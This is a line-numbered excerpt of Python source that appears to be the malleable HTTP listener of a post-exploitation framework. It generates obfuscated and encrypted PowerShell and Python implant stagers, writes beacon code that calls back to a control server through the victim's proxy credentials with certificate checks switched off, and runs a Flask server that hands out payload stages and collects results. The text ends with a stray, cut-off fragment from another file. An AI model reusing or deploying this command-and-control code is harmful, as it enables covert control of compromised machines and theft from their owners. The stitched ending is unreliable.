694 os.path.join(self.mainMenu.installPath, '/data/agent/stagers'),
695 os.path.join(self.mainMenu.installPath, './data/agent/stagers')]
696 eng = templating.TemplateEngine(template_path)
697 template = eng.get_template('http.py')
698
699 template_options = {
700 'working_hours': workingHours,
701 'kill_date': killDate,
702 'staging_key': stagingKey,
703 'profile': profileStr,
704 'stage_1': stage1,
705 'stage_2': stage2
706 }
707
708 stager = template.render(template_options)
709 stager = obfuscation.py_minify(stager)
710
711 if encode:
712 return base64.b64encode(stager)
713 elif encrypt:
714 RC4IV = os.urandom(4)
715 return RC4IV + encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), stager.encode('UTF-8'))
716 else:
717 return stager
718
719 else:
720 print(helpers.color("[!] listeners/http_malleable generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
721
722 return None
723
724
725 def generate_agent(self, listenerOptions, language=None, obfuscate=False, obfuscationCommand=""):
726 """
727 Generate the full agent code needed for communications with the listener.
728 """
729
730 if not language:
731 print(helpers.color("[!] listeners/http_malleable generate_agent(): no language specified!"))
732 return None
733
734 # build profile
735 profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"])
736
737 language = language.lower()
738 delay = listenerOptions["DefaultDelay"]["Value"]
739 jitter = listenerOptions["DefaultJitter"]["Value"]
740 lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
741 killDate = listenerOptions["KillDate"]["Value"]
742 workingHours = listenerOptions["WorkingHours"]["Value"]
743 b64DefaultResponse = base64.b64encode(self.default_response().encode('UTF-8')).decode('UTF-8')
744
745 profileStr = profile.stager.client.stringify()
746
747 if language == 'powershell':
748 #read in agent code
749 f = open(self.mainMenu.installPath + "./data/agent/agent.ps1")
750 code = f.read()
751 f.close()
752
753 # Get the random function name generated at install and patch the stager with the proper function name
754 conn = self.get_db_connection()
755 self.lock.acquire()
756 code = helpers.keyword_obfuscation(code)
757 self.lock.release()
758
759 # path in the comms methods
760 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
761 code = code.replace("REPLACE_COMMS", commsCode)
762
763 # strip out the comments and blank lines
764 code = helpers.strip_powershell_comments(code)
765
766 # patch in the delay, jitter, lost limit, and comms profile
767 code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
768 code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
769 code = code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profileStr) + "\"")
770 code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit))
771 code = code.replace('$DefaultResponse = ""', '$DefaultResponse = "' + b64DefaultResponse +'"')
772
773 # patch in the killDate and workingHours if they're specified
774 if killDate != "":
775 code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',")
776 if obfuscate:
777 code = helpers.obfuscate(self.mainMenu.installPath, code, obfuscationCommand=obfuscationCommand)
778 return code
779
780 elif language == 'python':
781
782 # read in the agent base
783 code = ""
784 with open(self.mainMenu.installPath + "./data/agent/agent.py") as f:
785 code = f.read()
786
787 # patch in the comms methods
788 commsCode = self.generate_comms(listenerOptions=listenerOptions, language=language)
789 code = code.replace('REPLACE_COMMS', commsCode)
790
791 # strip out comments and blank lines
792 code = helpers.strip_python_comments(code)
793
794 # patch in the delay, jitter, lost limit, and comms profile
795 code = code.replace('delay = 60', 'delay = %s' % (delay))
796 code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
797 code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profileStr))
798 code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit))
799 code = code.replace('defaultResponse = base64.b64decode("")', 'defaultResponse = base64.b64decode("%s")' % (b64DefaultResponse))
800
801 # patch in the killDate and workingHours if they're specified
802 if killDate != "":
803 code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate))
804 if workingHours != "":
805 code = code.replace('workingHours = ""', 'workingHours = "%s"' % (workingHours))
806
807 return code
808 else:
809 print(helpers.color("[!] listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module."))
810
811
812 def generate_comms(self, listenerOptions, language=None):
813 """
814 Generate just the agent communication code block needed for communications with this listener.
815 This is so agents can easily be dynamically updated for the new listener.
816 """
817
818 # extract the set options for this instantiated listener
819 host = listenerOptions['Host']['Value']
820 port = listenerOptions['Port']['Value']
821
822 # build profile
823 profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"])
824 profile.get.client.host = host
825 profile.get.client.port = port
826 profile.post.client.host = host
827 profile.post.client.port = port
828
829 if language:
830 if language.lower() == 'powershell':
831 # PowerShell
832
833 vWc = helpers.generate_random_script_var_name("wc")
834
835 updateServers = "$Script:ControlServers = @(\"%s\");" % (host)
836 updateServers += "$Script:ServerIndex = 0;"
837
838 # ==== HANDLE SSL ====
839 if host.startswith('https'):
840 updateServers += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
841
842 # ==== DEFINE GET ====
843 getTask = "$script:GetTask = {"
844 getTask += "try {"
845 getTask += "if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {"
846
847 # ==== BUILD ROUTING PACKET ====
848 # meta 'TASKING_REQUEST' : 4
849 getTask += "$RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4;"
850 getTask += "$RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket);"
851 getTask += profile.get.client.metadata.generate_powershell("$RoutingPacket")
852
853 # ==== BUILD REQUEST ====
854 getTask += "$"+vWc+" = New-Object System.Net.WebClient;"
855
856 # ==== CONFIGURE PROXY ====
857 getTask += "$"+vWc+".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();"
858 getTask += "$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;"
859 getTask += "if ($Script:Proxy) {"
860 getTask += "$"+vWc+".Proxy = $Script:Proxy;"
861 getTask += "}"
862
863 # ==== CHOOSE URI ====
864 getTask += "$taskURI = " + ",".join(["'%s'" % u for u in (profile.get.client.uris if profile.get.client.uris else ["/"])]) + " | Get-Random;"
865
866 # ==== ADD PARAMETERS ====
867 first = True
868 for parameter, value in profile.get.client.parameters.items():
869 getTask += "$taskURI += '"+("?" if first else "&")+"';"
870 first = False
871 getTask += "$taskURI += '"+parameter+"="+value+"';"
872 if profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER:
873 getTask += "$taskURI += '"+("?" if first else "&")+"';"
874 first = False
875 getTask += "$taskURI += '"+profile.get.client.metadata.terminator.arg+"=' + $RoutingPacket;"
876
877 if profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND:
878 getTask += "$taskURI += $RoutingPacket;"
879
880 # ==== ADD HEADERS ====
881 for header, value in profile.get.client.headers.items():
882 getTask += "$"+vWc+".Headers.Add('"+header+"', '"+value+"');"
883 if profile.get.client.metadata.terminator.type == malleable.Terminator.HEADER:
884 getTask += "$"+vWc+".Headers.Add('"+profile.get.client.metadata.terminator.arg+"', $RoutingPacket);"
885
886 # ==== ADD BODY ====
887 if profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT:
888 getTask += "$body = $RoutingPacket;"
889 else:
890 getTask += "$body = '"+profile.get.client.body+"';"
891
892 # ==== SEND REQUEST ====
893 if profile.get.client.verb.lower() != "get" or profile.get.client.body or profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT:
894 getTask += "$result = $"+vWc+".UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '"+ profile.get.client.verb +"', [System.Text.Encoding]::Default.GetBytes('"+ profile.get.client.body +"'));"
895 else:
896 getTask += "$result = $"+vWc+".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);"
897
898 # ==== EXTRACT RESULTS ====
899 if profile.get.server.output.terminator.type == malleable.Terminator.HEADER:
900 getTask += "$data = $"+vWc+".responseHeaders.get('"+profile.get.server.output.terminator.arg+"');"
901 getTask += "Add-Type -AssemblyName System.Web; $data = [System.Web.HttpUtility]::UrlDecode($data);"
902
903 elif profile.get.server.output.terminator.type == malleable.Terminator.PRINT:
904 getTask += "$data = $result;"
905 getTask += "$data = [System.Text.Encoding]::Default.GetString($data);"
906
907 # ==== INTERPRET RESULTS ====
908 getTask += profile.get.server.output.generate_powershell_r("$data");
909 getTask += "$data = [System.Text.Encoding]::Default.GetBytes($data);"
910
911 # ==== RETURN RESULTS ====
912 getTask += "$data;"
913 getTask += "}"
914
915 # ==== HANDLE ERROR ====
916 getTask += "} catch [Net.WebException] {"
917 getTask += "$script:MissedCheckins += 1;"
918 getTask += "if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {"
919 getTask += "Start-Negotiate -S '$ser' -SK $SK -UA $ua;"
920 getTask += "}"
921 getTask += "}"
922 getTask += "};"
923
924 # ==== DEFINE POST ====
925 sendMessage = "$script:SendMessage = {"
926 sendMessage += "param($Packets);"
927 sendMessage += "if ($Packets) {"
928
929 # note: id container not used, only output
930
931 # ==== BUILD ROUTING PACKET ====
932 # meta 'RESULT_POST' : 5
933 sendMessage += "$EncBytes = Encrypt-Bytes $Packets;"
934 sendMessage += "$RoutingPacket = New-RoutingPacket -EncData $EncBytes -Meta 5;"
935 sendMessage += "$RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket);"
936
937 sendMessage += profile.post.client.output.generate_powershell("$RoutingPacket")
938
939 # ==== BUILD REQUEST ====
940 sendMessage += "if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {"
941 sendMessage += "$"+vWc+" = New-Object System.Net.WebClient;"
942
943 # ==== CONFIGURE PROXY ====
944 sendMessage += "$"+vWc+".Proxy = [System.Net.WebRequest]::GetSystemWebProxy();"
945 sendMessage += "$"+vWc+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;"
946 sendMessage += "if ($Script:Proxy) {"
947 sendMessage += "$"+vWc+".Proxy = $Script:Proxy;"
948 sendMessage += "}"
949
950 # ==== CHOOSE URI ====
951 sendMessage += "$taskURI = " + ",".join(["'%s'" % u for u in (profile.post.client.uris if profile.post.client.uris else ["/"])]) + " | Get-Random;"
952
953 # ==== ADD PARAMETERS ====
954 first = True
955 for parameter, value in profile.post.client.parameters.items():
956 sendMessage += "$taskURI += '"+("?" if first else "&")+"';"
957 first = False
958 sendMessage += "$taskURI += '"+parameter+"="+value+"';"
959 if profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER:
960 sendMessage += "$taskURI += '"+("?" if first else "&")+"';"
961 first = False
962 sendMessage += "$taskURI += '"+profile.post.client.output.terminator.arg+"=' + $RoutingPacket;"
963
964 if profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND:
965 sendMessage += "$taskURI += $RoutingPacket;"
966
967 # ==== ADD HEADERS ====
968 for header, value in profile.post.client.headers.items():
969 sendMessage += "$"+vWc+".Headers.Add('"+header+"', '"+value+"');"
970 if profile.post.client.output.terminator.type == malleable.Terminator.HEADER:
971 sendMessage += "$"+vWc+".Headers.Add('"+profile.post.client.output.terminator.arg+"', $RoutingPacket);"
972
973 # ==== ADD BODY ====
974 if profile.post.client.output.terminator.type == malleable.Terminator.PRINT:
975 sendMessage += "$body = $RoutingPacket;"
976 else:
977 sendMessage += "$body = '"+profile.post.client.body+"';"
978
979 # ==== SEND REQUEST ====
980 sendMessage += "try {"
981 if profile.post.client.verb.lower() != "get" or profile.post.client.body or profile.post.client.output.terminator.type == malleable.Terminator.PRINT:
982 sendMessage += "$result = $"+vWc+".UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '"+ profile.post.client.verb.upper() +"', [System.Text.Encoding]::Default.GetBytes($body));"
983 else:
984 sendMessage += "$result = $"+vWc+".DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);"
985
986 # ==== HANDLE ERROR ====
987 sendMessage += "} catch [System.Net.WebException] {"
988 sendMessage += "if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {"
989 sendMessage += "Start-Negotiate -S '$ser' -SK $SK -UA $ua;"
990 sendMessage += "}"
991 sendMessage += "}"
992 sendMessage += "}"
993 sendMessage += "}"
994 sendMessage += "};"
995
996 return updateServers + getTask + sendMessage
997
998
999 elif language.lower() == 'python':
1000 # Python
1001
1002 updateServers = "server = '%s'\n" % (host)
1003
1004 # ==== HANDLE SSL ====
1005 if host.startswith("https"):
1006 updateServers += "hasattr(ssl, '_create_unverified_context') and ssl._create_unverified_context() or None\n"
1007
1008 sendMessage = "def send_message(packets=None):\n"
1009 sendMessage += " global missedCheckins\n"
1010 sendMessage += " global server\n"
1011 sendMessage += " global headers\n"
1012 sendMessage += " global taskURIs\n"
1013
1014 sendMessage += " vreq = type('vreq', (urllib.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.Request.get_method(self)})\n"
1015
1016 # ==== BUILD POST ====
1017 sendMessage += " if packets:\n"
1018
1019 # ==== BUILD ROUTING PACKET ====
1020 sendMessage += " data = ''.join(packets)\n"
1021 sendMessage += " encData = aes_encrypt_then_hmac(key, data)\n"
1022 sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)\n"
1023 sendMessage += "\n".join([" " + _ for _ in profile.post.client.output.generate_python("routingPacket").split("\n")]) + "\n"
1024
1025 # ==== CHOOSE URI ====
1026 sendMessage += " taskUri = random.sample("+ profile.post.client.uris +", 1)[0]\n"
1027 sendMessage += " requestUri = server + taskUri\n"
1028
1029 # ==== ADD PARAMETERS ====
1030 sendMessage += " parameters = {}\n"
1031 for parameter, value in profile.post.client.parameters.items():
1032 sendMessage += " parameters['"+parameter+"'] = '"+value+"'\n"
1033 if profile.post.client.output.terminator.type == malleable.Terminator.PARAMETER:
1034 sendMessage += " parameters['"+profile.post.client.output.terminator.arg+"'] = routingPacket\n"
1035 sendMessage += " if parameters:\n"
1036 sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n"
1037
1038 if profile.post.client.output.terminator.type == malleable.Terminator.URIAPPEND:
1039 sendMessage += " requestUri += routingPacket\n"
1040
1041 # ==== ADD BODY ====
1042 if profile.post.client.output.terminator.type == malleable.Terminator.PRINT:
1043 sendMessage += " body = routingPacket\n"
1044 else:
1045 sendMessage += " body = '"+profile.post.client.body+"'\n"
1046
1047 # ==== BUILD REQUEST ====
1048 sendMessage += " req = vreq(requestUri, body)\n"
1049 sendMessage += " req.verb = '"+profile.post.client.verb+"'\n"
1050
1051 # ==== ADD HEADERS ====
1052 for header, value in profile.post.client.headers.items():
1053 sendMessage += " req.add_header('"+header+"', '"+value+"')\n"
1054 if profile.post.client.output.terminator.type == malleable.Terminator.HEADER:
1055 sendMessage += " req.add_header('"+profile.post.client.output.terminator.arg+"', routingPacket)\n"
1056
1057 # ==== BUILD GET ====
1058 sendMessage += " else:\n"
1059
1060 # ==== BUILD ROUTING PACKET
1061 sendMessage += " routingPacket = build_routing_packet(stagingKey, sessionID, meta=4)\n"
1062 sendMessage += "\n".join([" " + _ for _ in profile.get.client.metadata.generate_python("routingPacket").split("\n")]) + "\n"
1063
1064 # ==== CHOOSE URI ====
1065 sendMessage += " taskUri = random.sample("+ profile.get.client.uris +", 1)[0]\n"
1066 sendMessage += " requestUri = server + taskUri\n"
1067
1068 # ==== ADD PARAMETERS ====
1069 sendMessage += " parameters = {}\n"
1070 for parameter, value in profile.get.client.parameters.items():
1071 sendMessage += " parameters['"+parameter+"'] = '"+value+"'\n"
1072 if profile.get.client.metadata.terminator.type == malleable.Terminator.PARAMETER:
1073 sendMessage += " parameters['"+profile.get.client.metadata.terminator.arg+"'] = routingPacket\n"
1074 sendMessage += " if parameters:\n"
1075 sendMessage += " requestUri += '?' + urllib.urlencode(parameters)\n"
1076
1077 if profile.get.client.metadata.terminator.type == malleable.Terminator.URIAPPEND:
1078 sendMessage += " requestUri += routingPacket\n"
1079
1080 # ==== ADD BODY ====
1081 if profile.get.client.metadata.terminator.type == malleable.Terminator.PRINT:
1082 sendMessage += " body = routingPacket\n"
1083 else:
1084 sendMessage += " body = '"+profile.get.client.body+"'\n"
1085
1086 # ==== BUILD REQUEST ====
1087 sendMessage += " req = vreq(requestUri, body)\n"
1088 sendMessage += " req.verb = '"+profile.get.client.verb+"'\n"
1089
1090 # ==== ADD HEADERS ====
1091 for header, value in profile.get.client.headers.items():
1092 sendMessage += " req.add_header('"+header+"', '"+value+"')\n"
1093 if profile.get.client.metadata.terminator.type == malleable.Terminator.HEADER:
1094 sendMessage += " req.add_header('"+profile.get.client.metadata.terminator.arg+"', routingPacket)\n"
1095
1096 # ==== SEND REQUEST ====
1097 sendMessage += " try:\n"
1098 sendMessage += " res = urllib.urlopen(req)\n"
1099
1100 # ==== EXTRACT RESPONSE ====
1101 if profile.get.server.output.terminator.type == malleable.Terminator.HEADER:
1102 header = profile.get.server.output.terminator.arg
1103 sendMessage += " data = res.info().dict['"+header+"'] if '"+header+"' in res.info().dict else ''\n"
1104 sendMessage += " data = urllib.parse.unquote(data)\n"
1105 elif profile.get.server.output.terminator.type == malleable.Terminator.PRINT:
1106 sendMessage += " data = res.read()\n"
1107
1108 # ==== DECODE RESPONSE ====
1109 sendMessage += "\n".join([" " + _ for _ in profile.get.server.output.generate_python_r("data").split("\n")]) + "\n"
1110
1111 sendMessage += " return ('200', data)\n"
1112
1113 # ==== HANDLE ERROR ====
1114 sendMessage += " except urllib.HTTPError as HTTPError:\n"
1115 sendMessage += " missedCheckins += 1\n"
1116 sendMessage += " if HTTPError.code == 401:\n"
1117 sendMessage += " sys.exit(0)\n"
1118 sendMessage += " return (HTTPError.code, '')\n"
1119 sendMessage += " except urllib.URLError as URLError:\n"
1120 sendMessage += " missedCheckins += 1\n"
1121 sendMessage += " return (URLError.reason, '')\n"
1122
1123 sendMessage += " return ('', '')\n"
1124
1125 return updateServers + sendMessage
1126
1127 else:
1128 print(helpers.color("[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module."))
1129 else:
1130 print(helpers.color('[!] listeners/template generate_comms(): no language specified!'))
1131
1132 def start_server(self, listenerOptions):
1133 """
1134 Threaded function that actually starts up the Flask server.
1135 """
1136
1137 # make a copy of the currently set listener options for later stager/agent generation
1138 listenerOptions = copy.deepcopy(listenerOptions)
1139
1140 # extract the set options for this instantiated listener
1141 bindIP = listenerOptions['BindIP']['Value']
1142 port = listenerOptions['Port']['Value']
1143 host = listenerOptions['Host']['Value']
1144 stagingKey = listenerOptions['StagingKey']['Value']
1145 listenerName = listenerOptions['Name']['Value']
1146 proxy = listenerOptions['Proxy']['Value']
1147 proxyCreds = listenerOptions['ProxyCreds']['Value']
1148 certPath = listenerOptions['CertPath']['Value']
1149
1150 # build and validate profile
1151 profile = malleable.Profile._deserialize(listenerOptions["ProfileSerialized"]["Value"])
1152 profile.validate()
1153
1154 # suppress the normal Flask output
1155 log = logging.getLogger('werkzeug')
1156 log.setLevel(logging.ERROR)
1157
1158 # initialize flask server
1159 app = Flask(__name__)
1160 self.app = app
1161
1162 @app.route('/', methods=["GET", "POST"])
1163 @app.route('/<path:request_uri>', methods=["GET", "POST"])
1164 def handle_request(request_uri="", tempListenerOptions=None):
1165 """
1166 Handle an agent request.
1167 """
1168 data = request.get_data()
1169 clientIP = request.remote_addr
1170 url = request.url
1171 method = request.method
1172 headers = request.headers
1173 profile = malleable.Profile._deserialize(self.options["ProfileSerialized"]["Value"])
1174
1175 # log request
1176 listenerName = self.options['Name']['Value']
1177 message = "[*] {} request for {}/{} from {} ({} bytes)".format(request.method.upper(), request.host, request_uri, clientIP, len(request.data))
1178 signal = json.dumps({
1179 'print': False,
1180 'message': message
1181 })
1182 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1183
1184 try:
1185 # build malleable request from flask request
1186 malleableRequest = malleable.MalleableRequest()
1187 malleableRequest.url = url
1188 malleableRequest.verb = method
1189 malleableRequest.headers = headers
1190 malleableRequest.body = data
1191
1192 # fix non-ascii characters
1193 if '%' in malleableRequest.path:
1194 malleableRequest.path = urllib.parse.unquote(malleableRequest.path)
1195
1196 # identify the implementation by uri
1197 implementation = None
1198 for uri in sorted((profile.stager.client.uris if profile.stager.client.uris else ["/"]) + (profile.get.client.uris if profile.get.client.uris else ["/"]) + (profile.post.client.uris if profile.post.client.uris else ["/"]), key=len, reverse=True):
1199 if request_uri.startswith(uri.lstrip("/")):
1200 # match!
1201 for imp in [profile.stager, profile.get, profile.post]:
1202 if uri in (imp.client.uris if imp.client.uris else ["/"]):
1203 implementation = imp
1204 break
1205 if implementation: break
1206
1207 # attempt to extract information from the request
1208 if implementation:
1209 agentInfo = None
1210 if implementation is profile.stager and request.method == "POST":
1211 # stage 1 negotiation comms are hard coded, so we can't use malleable
1212 agentInfo = malleableRequest.body
1213 elif implementation is profile.post:
1214 # the post implementation has two spots for data, requires two-part extraction
1215 agentInfo, output = implementation.extract_client(malleableRequest)
1216 agentInfo = (agentInfo if agentInfo else b"") + (output if output else b"")
1217 else:
1218 agentInfo = implementation.extract_client(malleableRequest)
1219 if agentInfo:
1220 dataResults = self.mainMenu.agents.handle_agent_data(stagingKey, agentInfo, listenerOptions, clientIP)
1221 if dataResults and len(dataResults) > 0:
1222 for (language, results) in dataResults:
1223 if results:
1224 if isinstance(results, str):
1225 results = results.encode("latin-1")
1226 if results == b'STAGE0':
1227 # step 2 of negotiation -> server returns stager (stage 1)
1228
1229 # log event
1230 message = "\n[*] Sending {} stager (stage 1) to {}".format(language, clientIP)
1231 signal = json.dumps({
1232 'print': True,
1233 'message': message
1234 })
1235 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1236
1237 # build stager (stage 1)
1238 stager = self.generate_stager(language=language, listenerOptions=listenerOptions, obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
1239
1240 # build malleable response with stager (stage 1)
1241 malleableResponse = implementation.construct_server(stager)
1242 return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers)
1243
1244 elif results.startswith(b'STAGE2'):
1245 # step 6 of negotiation -> server sends patched agent (stage 2)
1246
1247 if ':' in clientIP:
1248 clientIP = '[' + clientIP + ']'
1249 sessionID = results.split(b' ')[1].strip().decode('UTF-8')
1250 sessionKey = self.mainMenu.agents.agents[sessionID]['sessionKey']
1251
1252 # log event
1253 message = "[*] Sending agent (stage 2) to {} at {}".format(sessionID, clientIP)
1254 signal = json.dumps({
1255 'print': True,
1256 'message': message
1257 })
1258 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1259
1260 # TODO: handle this with malleable??
1261 tempListenerOptions = None
1262 if "Hop-Name" in request.headers:
1263 hopListenerName = request.headers.get('Hop-Name')
1264 if hopListenerName:
1265 try:
1266 hopListener = helpers.get_listener_options(hopListenerName)
1267 tempListenerOptions = copy.deepcopy(listenerOptions)
1268 tempListenerOptions['Host']['Value'] = hopListener['Host']['Value']
1269 except TypeError:
1270 tempListenerOptions = listenerOptions
1271
1272 # generate agent
1273 agentCode = self.generate_agent(language=language, listenerOptions=(tempListenerOptions if tempListenerOptions else listenerOptions), obfuscate=self.mainMenu.obfuscate, obfuscationCommand=self.mainMenu.obfuscateCommand)
1274 encryptedAgent = encryption.aes_encrypt_then_hmac(sessionKey, agentCode)
1275
1276 # build malleable response with agent
1277 # note: stage1 comms are hard coded, can't use malleable here.
1278 return Response(encryptedAgent, 200, implementation.server.headers)
1279
1280 elif results[:10].lower().startswith(b'error') or results[:10].lower().startswith(b'exception'):
1281 # agent returned an error
1282 message = "[!] Error returned for results by {} : {}".format(clientIP, results)
1283 signal = json.dumps({
1284 'print': True,
1285 'message': message
1286 })
1287 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1288
1289 return Response(self.default_response(), 404)
1290
1291 elif results.startswith(b'ERROR:'):
1292 # error parsing agent data
1293 message = "[!] Error from agents.handle_agent_data() for {} from {}: {}".format(request_uri, clientIP, results)
1294 signal = json.dumps({
1295 'print': True,
1296 'message': message
1297 })
1298 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1299
1300 if b'not in cache' in results:
1301 # signal the client to restage
1302 print(helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP)))
1303 return make_response("", 401)
1304
1305 return Response(self.default_response(), 404)
1306
1307 elif results == b'VALID':
1308 # agent posted results
1309 message = "[*] Valid results returned by {}".format(clientIP)
1310 signal = json.dumps({
1311 'print': False,
1312 'message': message
1313 })
1314 dispatcher.send(signal, sender="listeners/http/{}".format(listenerName))
1315
1316 malleableResponse = implementation.construct_server("")
1317 return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers)
1318
1319 else:
1320 if request.method == b"POST":
1321 # step 4 of negotiation -> server returns RSA(nonce+AESsession))
1322
1323 # log event
1324 message = "[*] Sending session key to {}".format(clientIP)
1325 signal = json.dumps({
1326 'print': True,
1327 'message': message
1328 })
1329 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1330
1331 # note: stage 1 negotiation comms are hard coded, so we can't use malleable
1332 return Response(results, 200, implementation.server.headers)
1333
1334 else:
1335 # agent requested taskings
1336 message = "[*] Agent from {} retrieved taskings".format(clientIP)
1337 signal = json.dumps({
1338 'print': False,
1339 'message': message
1340 })
1341 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1342
1343 # build malleable response with results
1344 malleableResponse = implementation.construct_server(results)
1345 if isinstance(malleableResponse.body, str):
1346 malleableResponse.body = malleableResponse.body.encode('latin-1')
1347 return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers)
1348
1349 else:
1350 # no tasking for agent
1351 message = "[*] Agent from {} retrieved taskings".format(clientIP)
1352 signal = json.dumps({
1353 'print': False,
1354 'message': message
1355 })
1356 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1357
1358 # build malleable response with no results
1359 malleableResponse = implementation.construct_server(results)
1360 return Response(malleableResponse.body, malleableResponse.code, malleableResponse.headers)
1361 else:
1362 # log error parsing routing packet
1363 message = "[!] Error parsing routing packet from {}: {}.".format(clientIP, str(agentInfo))
1364 signal = json.dumps({
1365 'print': True,
1366 'message': message
1367 })
1368 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1369
1370 # log invalid request
1371 message = "[!] /{} requested by {} with no routing packet.".format(request_uri, clientIP)
1372 signal = json.dumps({
1373 'print': True,
1374 'message': message
1375 })
1376 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1377
1378 else:
1379 # log invalid uri
1380 message = "[!] unknown uri /{} requested by {}.".format(request_uri, clientIP)
1381 signal = json.dumps({
1382 'print': True,
1383 'message': message
1384 })
1385 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1386
1387 except malleable.MalleableError as e:
1388 # probably an issue with the malleable library, please report it :)
1389 message = "[!] Malleable had trouble handling a request for /{} by {}: {}.".format(request_uri, clientIP, str(e))
1390 signal = json.dumps({
1391 'print': True,
1392 'message': message
1393 })
1394
1395 return Response(self.default_response(), 200)
1396
1397 try:
1398 if host.startswith('https'):
1399 if certPath.strip() == '' or not os.path.isdir(certPath):
1400 print(helpers.color("[!] Unable to find certpath %s, using default." % certPath))
1401 certPath = "setup"
1402 certPath = os.path.abspath(certPath)
1403 pyversion = sys.version_info
1404
1405 # support any version of tls
1406 if pyversion[0] == 2 and pyversion[1] == 7 and pyversion[2] >= 13:
1407 proto = ssl.PROTOCOL_TLS
1408 elif pyversion[0] >= 3:
1409 proto = ssl.PROTOCOL_TLS
1410 else:
1411 proto = ssl.PROTOCOL_SSLv23
1412
1413 context = ssl.SSLContext(proto)
1414 context.load_cert_chain("%s/empire-chain.pem" % (certPath), "%s/empire-priv.key" % (certPath))
1415 app.run(host=bindIP, port=int(port), threaded=True, ssl_context=context)
1416 else:
1417 app.run(host=bindIP, port=int(port), threaded=True)
1418 except Exception as e:
1419 print(helpers.color("[!] Listener startup on port %s failed - %s: %s" % (port, e.__class__.__name__, str(e))))
1420 message = "[!] Listener startup on port {} failed - {}: {}".format(port, e.__class__.__name__, str(e))
1421 signal = json.dumps({
1422 'print': True,
1423 'message': message
1424 })
1425 dispatcher.send(signal, sender="listeners/http_malleable/{}".format(listenerName))
1426
1427 def start(self, name=''):
1428 """
1429 Start a threaded instance of self.start_server() and store it in
1430 the self.threads dictionary keyed by the listener name.
1431 """
1432 listenerOptions = self.options
1433 if name and name != '':
1434 self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
1435 self.threads[name].start()
1436 time.sleep(1)
1437 # returns True if the listener successfully started, false otherwise
1438 return self.threads[name].is_alive()
1439 else:
1440 name = listenerOptions['Name']['Value']
1441 self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,))
1442 self.threads[name].start()
1443 time.sleep(1)
1444 # returns True if the listener successfully started, false otherwise
1445 return self.threads[name].is_alive()
1446
1447 def shutdown(self, name=''):
1448 """
1449 Terminates the server thread stored in the self.threads dictionary,
1450 keyed by the listener name.
1451 """
1452
1453 if name and name != '':
1454 print(helpers.color("[!] Killing listener '%s'" % (name)))
1455 self.threads[name].kill()
1456 else:
1457 print(helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])))
1458 self.threads[self.options['Name']['Value']].kill()
1459
1460 def generate_cookie(self):
1461 """
1462 Generate Cookie
1463 """
1464
1465 chars = string.ascii_letters
1466 cookie = helpers.random_string(random.randint(6,16), charset=chars)
1467
1468 return cookie
122122 'Required' : False,
123123 'Value' : ''
124124 },
125 'SlackToken' : {
